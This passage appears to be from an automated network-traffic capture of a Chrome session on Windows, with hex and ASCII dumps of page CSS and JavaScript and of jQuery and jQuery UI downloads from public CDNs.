2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 6e 74 20 2e 63 6f 6f 6b 69 65 4d 65 73 73 61 67 65 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f 70 6f 70 75 70 5f 63 6f 6e 74 65 6e 74 20 2e 62 75 74 74 6f 6e 47 72 6f 75 70 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f 70 Data Ascii: nt .cookieMessage {\r\n margin-bottom: 20px;\r\n }\r\n body.responsive_page .cookiepreferences_popup_content .buttonGroup {\r\n flex-direction: row;\r\n margin-left: 0px;\r\n }\r\n body.responsive_page .cookiepreferences_p
2024-10-07 06:47:04 UTC	946	IN	Data Raw: 66 65 72 65 6e 63 65 4e 61 6d 65 2c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 20 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 21 42 49 6e 73 69 64 65 49 46 72 61 6d 65 28 29 20 26 26 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 3b 0d 0a 09 7d 0d 0a 09 65 6c 73 65 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 6f 53 74 6f 72 61 67 65 20 3d 20 5f 47 65 74 53 74 6f 72 61 67 65 46 72 6f 6d 43 6f 6f 6b 69 65 28 29 3b 0d 0a 0d 0a 09 09 72 65 74 75 72 6e 20 6f 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 61 Data Ascii: ferenceName, defaultValue ){if ( !BInsideIFrame() && window.localStorage ){return window.localStorage[strPreferenceName] \|\| defaultValue;}else{var oStorage = _GetStorageFromCookie();return oStorage[strPreferenceName] \|\| defa
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 77 72 61 70 70 65 72 20 29 3b 0d 0a 09 09 65 6c 2e 72 65 6d 6f 76 65 28 29 3b 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 79 6e 61 6d 69 63 4c 69 6e 6b 5f 50 6c 61 79 56 69 6d 65 6f 56 69 64 65 6f 49 6e 6c 69 6e 65 28 20 65 6c 65 6d 2c 20 76 69 64 65 6f 69 64 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 65 6c 20 3d 20 24 4a 28 65 6c 65 6d 29 3b 0d 0a 09 76 61 72 20 76 69 64 65 6f 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 70 6c 61 79 65 72 2e 76 69 6d 65 6f 2e 63 6f 6d 2f 76 69 64 65 6f 2f 27 20 2b 20 76 69 64 65 6f 69 64 20 2b 20 27 3f 62 61 64 67 65 3d 30 26 61 75 74 6f 70 61 75 73 65 3d 30 26 61 75 74 6f 70 6c 61 79 3d 31 26 70 6c 61 79 65 72 5f 69 64 3d 30 27 3b 0d 0a 09 76 61 72 20 77 72 61 70 70 65 72 20 3d Data Ascii: 00004000wrapper );el.remove();}}function DynamicLink_PlayVimeoVideoInline( elem, videoid ){var el = $J(elem);var videourl = 'https://player.vimeo.com/video/' + videoid + '?badge=0&autopause=0&autoplay=1&player_id=0';var wrapper =
2024-10-07 06:47:04 UTC	12	IN	Data Raw: 20 28 20 21 74 68 69 73 2e 6d 0d 0a Data Ascii: ( !this.m
2024-10-07 06:47:04 UTC	914	IN	Data Raw: 30 30 30 30 30 33 38 36 0d 0a 5f 62 52 65 73 74 6f 72 69 6e 67 53 63 72 6f 6c 6c 54 6f 70 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 09 7d 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 3d 20 70 61 72 73 65 49 6e 74 28 20 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 29 20 29 3b 0d 0a 09 69 66 20 28 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 76 69 65 77 70 6f 72 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 2e 67 65 74 44 69 6d 65 6e 73 69 6f 6e 73 28 29 3b 20 2f 2f 20 47 65 74 73 20 74 68 65 20 76 69 65 77 70 6f 72 74 20 61 73 Data Ascii: 00000386_bRestoringScrollTop ){return;}var scrollTopPrevious = parseInt( $J( "#" + this.m_strElementPrefix + '_scroll_top').val() );if ( scrollTopPrevious ){var viewport = document.viewport.getDimensions(); // Gets the viewport as
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 73 28 29 3b 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 20 3d 20 73 63 72 6f 6c 6c 4f 66 66 73 65 74 2e 74 6f 70 3b 0d 0a 09 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 20 73 63 72 6f 6c 6c 54 6f 70 20 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 43 41 6a 61 78 49 6e 66 69 6e 69 74 65 53 63 72 6f 6c 6c 69 6e 67 43 6f 6e 74 72 6f 6c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 4f 6e 53 63 72 6f 6c 6c 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 74 68 69 73 2e 6d 5f 62 4c 6f 61 64 69 6e 67 20 29 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 0d 0a 09 76 61 72 20 69 4e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 Data Ascii: 00004000s();var scrollTop = scrollOffset.top;$J( "#" + this.m_strElementPrefix + '_scroll_top').val( scrollTop );};CAjaxInfiniteScrollingControls.prototype.OnScroll = function(){if ( this.m_bLoading )return;var iNow = new Date(
2024-10-07 06:47:04 UTC	12	IN	Data Raw: 65 6e 74 3b 0d 0a 09 09 09 7d 0d 0a Data Ascii: ent;}
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 0d 0a 0d 0a 09 09 09 5f 74 68 69 73 2e 6d 5f 66 6e 4f 6e 43 68 61 6e 67 65 28 20 5f 74 68 69 73 2e 6d 5f 6e 56 61 6c 75 65 2c 20 74 72 75 65 20 29 3b 0d 0a 09 09 7d 0d 0a 09 09 76 61 72 20 6e 49 6e 69 74 69 61 6c 50 6f 73 69 74 69 6f 6e 20 3d 20 70 61 72 73 65 49 6e 74 28 20 5f 74 68 69 73 2e 6d 5f 24 47 72 61 62 62 65 72 2e 63 73 73 28 27 6c 65 66 74 27 29 20 29 3b 0d 0a 09 09 76 61 72 20 6e 53 74 61 72 74 44 72 61 67 58 20 3d 20 66 6e 47 65 74 50 61 67 65 58 28 20 65 76 65 6e 74 20 29 3b 0d 0a 0d 0a 09 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6d 6f 75 73 65 6d 6f 76 65 2e 43 53 6c 69 64 65 72 20 74 6f 75 63 68 6d 6f 76 65 2e 43 53 6c 69 64 65 72 27 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 Data Ascii: 00004000_this.m_fnOnChange( _this.m_nValue, true );}var nInitialPosition = parseInt( _this.m_$Grabber.css('left') );var nStartDragX = fnGetPageX( event );$J(document).on( 'mousemove.CSlider touchmove.CSlider', function( event )

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49802	104.17.24.14	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	380	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:04 UTC	925	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 320807 Expires: Sat, 27 Sep 2025 06:47:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LsgCXnLrVHGtDTXbZ6lnXlv9t3as03dvmlpDbSjmEay0%2F35k9hfTvaxBIxbr2KJkqxFYUaVo1KR7Pc70d1PIR1Wu92MS7iTrD5EeXHxKKEX1BxeWT2qIFr5fFX6oXdFDdS8rnR56"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cebf00b292d1774-EWR
2024-10-07 06:47:04 UTC	444	IN	Data Raw: 33 39 37 37 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 3977/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-10-07 06:47:04 UTC	1369	IN	Data Raw: 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 7d 2c 63 3d 7b 74 79 70 65 3a 21 30 2c 73 72 63 3a 21 30 2c 6e 6f 6e 63 65 3a 21 30 2c 6e 6f 4d 6f 64 75 6c 65 3a 21 30 7d 3b 66 75 Data Ascii: ncat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};fu
2024-10-07 06:47:04 UTC	1369	IN	Data Raw: 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 28 6c 3d 61 2c 61 3d 61 72 67 Data Ascii: tack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arg
2024-10-07 06:47:04 UTC	1369	IN	Data Raw: 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 30 2c 61 3d 5b 5d 3b 69 66 28 64 28 65 29 29 66 6f 72 28 72 3d 65 2e 6c 65 6e 67 Data Ascii: ,merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(d(e))for(r=e.leng
2024-10-07 06:47:04 UTC	1369	IN	Data Raw: 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 49 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 Data Ascii: "+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegE
2024-10-07 06:47:04 UTC	1369	IN	Data Raw: 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 21 74 7c 7c 31 21 3d 3d 70 26 26 39 21 3d 3d 70 26 26 31 31 21 3d 3d 70 29 72 65 74 75 72 6e Data Ascii: y:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string"!=typeof t\|\|!t\|\|1!==p&&9!==p&&11!==p)return
2024-10-07 06:47:04 UTC	1369	IN	Data Raw: 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 72 6e 2d 31 3b 72 65 74 75 72 6e 20 65 3f 31 3a 2d 31 7d 66 75 Data Ascii: ,t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}fu
2024-10-07 06:47:04 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 28 43 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 2c 64 2e 67 65 74 42 79 49 64 3d 63 65 28 66 75 6e 63 Data Ascii: tion(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(func
2024-10-07 06:47:04 UTC	1369	IN	Data Raw: 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d 27 27 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 64 3d 27 27 3e 3c 2f 6f 70 74 69 6f 6e 3e 3c 2f 73 65 6c 65 63 74 3e 22 2c 65 Data Ascii: t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selected=''></option></select>",e
2024-10-07 06:47:04 UTC	1369	IN	Data Raw: 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 26 26 31 36 26 65 2e 63 6f 6d 70 61 72 65 44 Data Ascii: egExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49801	151.101.130.137	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	361	OUT	GET /ui/1.11.3/jquery-ui.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:04 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 469790 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-72b1e" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:04 GMT Age: 504219 X-Served-By: cache-lga21958-LGA, cache-ewr-kewr1740077-EWR X-Cache: HIT, HIT X-Cache-Hits: 3598, 1 X-Timer: S1728283624.182735,VS0,VE1 Vary: Accept-Encoding
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 31 2e 33 20 2d 20 32 30 31 35 2d 30 32 2d 31 32 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c Data Ascii: /! jQuery UI - v1.11.3 - 2015-02-12 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js,
